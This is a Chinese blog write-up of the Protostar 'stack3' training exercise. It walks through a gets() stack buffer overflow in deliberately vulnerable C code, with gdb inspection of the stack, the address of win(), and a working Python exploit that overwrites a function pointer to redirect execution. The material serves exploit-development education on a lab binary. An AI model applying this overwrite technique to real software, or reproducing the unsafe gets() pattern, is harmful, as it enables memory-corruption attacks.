Protostar——stack3

简介

  这个练习需要找到函数的起始地址,并用该地址覆盖栈中的函数指针。

源码

 1 #include <stdlib.h>
 2 #include <unistd.h>
 3 #include <stdio.h>
 4 #include <string.h>
 5 
 6 void win()
 7 {
 8   printf("code flow successfully changed\n");
 9 }
10 
11 int main(int argc, char **argv)
12 {
13   volatile int (*fp)();
14   char buffer[64];
15 
16   fp = 0;
17 
18   gets(buffer);
19 
20   if(fp) {
21       printf("calling function pointer, jumping to 0x%08x\n", fp);
22       fp();
23   }
24 }

分析

  这次代码中除了main函数外,还有一个win函数,但是在main函数中并没有出现调用win函数的语句,而原本的modified变量变成了一个函数指针fp,注意虽然类型不同,但是这两个变量的大小相同,在栈中的分布也应该和之前相同。通过gets函数给buffer变量赋值,可以覆盖fp指针的值,使其指向win函数,从而在接下来的if语句中执行win函数,
  问题的关键在于,怎样获得win函数的起始地址。

调试程序

  首先看一下栈分布是不是和前面的练习相同,这里我们的用户输入是"abcd"

 1 (gdb) b 20
 2 Breakpoint 1 at 0x8048455: file stack3/stack3.c, line 20.
 3 (gdb) r
 4 Starting program: /opt/protostar/bin/stack3 
 5 abcd
 6 
 7 Breakpoint 1, main (argc=1, argv=0xbffffd64) at stack3/stack3.c:20
 8 20 stack3/stack3.c: No such file or directory.
 9 in stack3/stack3.c
10 (gdb) print $esp
11 $1 = (void *) 0xbffffc50
12 (gdb) print $ebp
13 $2 = (void *) 0xbffffcb8
14 (gdb) x/26xw $esp
15 0xbffffc50: 0xbffffc6c 0x00000001 0xb7fff8f8 0xb7f0186e
16 0xbffffc60: 0xb7fd7ff4 0xb7ec6165 0xbffffc78 0x64636261
17 0xbffffc70: 0xb7fd7f00 0x0804967c 0xbffffc88 0x0804830c
18 0xbffffc80: 0xb7ff1040 0x0804967c 0xbffffcb8 0x080484a9
19 0xbffffc90: 0xb7fd8304 0xb7fd7ff4 0x08048490 0xbffffcb8
20 0xbffffca0: 0xb7ec6365 0xb7ff1040 0x0804849b 0x00000000
21 0xbffffcb0: 0x08048490 0x00000000

下面看一下win函数的起始地址:

(gdb) info address win
Symbol "win" is a function at address 0x8048424.

  现在我们有了win函数的起始地址,接下来的方法就和之前的练习一样了。

EXPLOIT编写

  因为需要处理程序中的用户输入,所以使用subprocess模块,和stack0类似,payload以0x24840408结尾,原理在stack2中已经说过了。
exploit代码:

1 import subprocess
2 proc = subprocess.Popen("/opt/protostar/bin/stack3", stdin=subprocess.PIPE)
3 payload = "6161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616124840408"
4 proc.communicate(payload.decode("hex"))

结果输出:

$ python exploit3.py
calling function pointer, jumping to 0x08048424
code flow successfully changed

猜你喜欢

转载自www.cnblogs.com/white-noise/p/8973868.html